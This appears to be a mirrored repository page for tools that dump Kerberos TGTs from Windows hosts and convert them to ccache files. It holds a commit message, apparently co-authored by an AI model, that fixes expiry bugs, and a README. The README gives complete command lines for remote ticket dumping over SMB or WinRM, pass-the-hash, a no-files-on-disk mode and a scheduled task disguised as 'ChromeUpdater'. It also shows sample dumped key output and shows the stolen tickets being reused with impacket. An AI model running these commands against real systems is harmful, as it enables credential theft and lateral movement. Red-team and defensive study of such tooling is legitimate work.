Jake OtteandClaude Opus 5 9d232aa480 Fix expiry check from #2 and rework dump/list output
PR #2 added ticket end/renew reporting and expired-ticket skipping. Three
bugs came with it:

* klistwinrm.py called time.time() without importing time -- every dump
  died with NameError on the first ticket.
* The skip was nested inside `if info["renew_till"]:`. parse_time() returns
  0 for an absent field, so non-renewable tickets were never checked and
  expired ones got written anyway -- the exact case the PR set out to catch.
* parse_time() tags klist's "(local)" wallclock as UTC, so its values are
  target-local wallclock, not true epochs. Comparing them to time.time()
  skewed every check by the UTC offset: valid tickets dropped west of UTC,
  expired ones kept east of it.

Expiry now keys off end_time via now_ticket_frame(), which builds "now" in
the same frame parse_time() uses, so no time import is needed. A ticket past
end_time but still within renew_till is written rather than dropped, since
the ccache can be renewed.

Output follows PRTremote's convention: [*]/[X] markers, dot-aligned kv rows,
unmarked list rows, and a closing summary with the KRB5CCNAME hint. Skipped
expired tickets are counted so "0 ccaches written" explains itself instead of
just exiting 1.

Co-Authored-By: Claude Opus 5 <noreply@anthropic.com>
2026-08-06 13:03:03 -04:00

klist

Windows' built-in klist binary supports dumping Kerberos TGTs. klist2ccache converts that output to ccache format for use with impacket and other Linux Kerberos tooling. klistremote does the same thing remotely via Task Scheduler + SMB. klistwinrm does the same thing remotely via WinRM.

All three auto-detect Credential Guard hosts. With Credential Guard enabled, klist tgt -li emits the session key as a marshalled KerberosKeyWithMetadata blob whose key material is wrapped/encrypted and protected inside the secure kernel (VTL1) — even SYSTEM only ever sees the protected form. The unwrap key never leaves VTL1, so the cleartext session key cannot be recovered offline, and no usable ccache can be built from such a dump.

The tools detect this layout and refuse with a clear message rather than emitting a wrong key (which would fail with KRB_AP_ERR_BAD_INTEGRITY). To use a TGT from a Credential Guard host, either supply a key obtained another way (-K <hex> for klist2ccache), or operate the ticket on the host itself (e.g. Rubeus ptt / tgtdeleg) where VTL1 performs the crypto.


klist2ccache

Use when you already have klist tgt output from a shell on the target.

python klist2ccache.py -i tgt.txt
[*] Parsed ticket:
    client     : jotter@LUMON.COM
    server     : krbtgt/LUMON.COM@LUMON.COM
    key_type   : 18
    key        : 74f62dc212216c910b<SNIP>
    flags      : 0x40e10000
    start_time : 2026-03-06 17:44:00+00:00
    end_time   : 2026-03-07 03:44:00+00:00
    renew_till : 2026-03-13 08:13:41+00:00
    ticket     : 1229 bytes

[+] ccache written → jotter@LUMON.COM.ccache  (1450 bytes)

[*] Use with impacket:
    export KRB5CCNAME=jotter@LUMON.COM.ccache
    smbclient.py -k -no-pass LUMON/jotter@target

klistremote

Use when you have credentials to a Windows host and want to dump TGTs without an interactive shell. Same auth format as other Impacket tools.

Default mode writes output to a temp file on the target (C:\ProgramData\), reads it via C$, then deletes it. Use -named-pipes to stream over SMB IPC$ instead — no files on disk.

# List sessions
python klistremote.py list LUMON/admin@target
python klistremote.py list LUMON/admin@target --computer   # include machine accounts

# Dump all sessions
python klistremote.py dump LUMON/admin@target -o ./ccaches

# Dump a specific session (1-based index from list)
python klistremote.py dump LUMON/admin@target -s 1 -o ./ccaches

# Pass-the-hash
python klistremote.py list -hashes :NTHASH user@target

# Kerberos auth
python klistremote.py list -k LUMON/user@target

# No files on disk (PowerShell named pipe)
python klistremote.py list -named-pipes -hashes :NTHASH user@target
python klistremote.py dump -named-pipes -hashes :NTHASH user@target -o ./ccaches

Example — list then dump session 1:

$ python klistremote.py list LUMON/admin@10.10.10.5
Impacket v0.12.0 - Copyright Fortra, LLC and its affiliated companies

[!] This will work ONLY on Windows >= Vista
[*] Connecting to 10.10.10.5 ...
[*] Enumerating remote Kerberos sessions ...
[*]   task: \ChromeUpdater  file: ChromeUpdater_48291.dat

  Kerberos sessions on 10.10.10.5:

  [1]  LUMON\jotter  0x154333

$ python klistremote.py list LUMON/admin@10.10.10.5 --computer

  Kerberos sessions on 10.10.10.5:

  [1]  LUMON\jotter      0x154333
  [2]  LUMON\jotter-pc$  0x3e4

$ python klistremote.py dump LUMON/admin@10.10.10.5 -s 1 -o ./ccaches
...
[*] [1/1] LUMON\jotter (0x154333) ...
[*]   -> ./ccaches/jotter@LUMON.COM.ccache
[*] Done. 1 ccache(s) written to ./ccaches
export KRB5CCNAME=./ccaches/jotter@LUMON.COM.ccache
impacket-smbclient -k -no-pass LUMON/jotter@target

klistwinrm

Same as klistremote but uses WinRM instead of Task Scheduler + SMB. Simpler setup — no SMB required, just WinRM (port 5985/5986) open on the target.

pip install pywinrm
pip install requests-ntlm2  # optional: pass-the-hash support
# List sessions
python klistwinrm.py list LUMON/admin@target
python klistwinrm.py list LUMON/admin@target --computer   # include machine accounts

# Dump all sessions
python klistwinrm.py dump LUMON/admin@target -o ./ccaches

# Dump a specific session
python klistwinrm.py dump LUMON/admin@target -s 1 -o ./ccaches

# Pass-the-hash (requires requests-ntlm2)
python klistwinrm.py list -hashes :NTHASH user@target

# Kerberos auth
python klistwinrm.py list -k LUMON/user@target

# HTTPS / custom port
python klistwinrm.py list LUMON/admin@target -ssl
python klistwinrm.py list LUMON/admin@target -port 5986 -ssl
Flag klistremote klistwinrm
Password (NTLM) ✓ ✓
-hashes :NTHASH (PTH) ✓ ✓ (needs requests-ntlm2)
-k (Kerberos ccache) ✓ ✓
-aesKey ✓ ✓ (get TGT first via getTGT.py)
-keytab ✓ ✓
--computer ✓ ✓
-named-pipes ✓ —
-ssl / -port — ✓
S
Description
Automated archival mirror of github.com/jakeotte/klist2ccache
Readme
81 KiB
Languages
Python 100%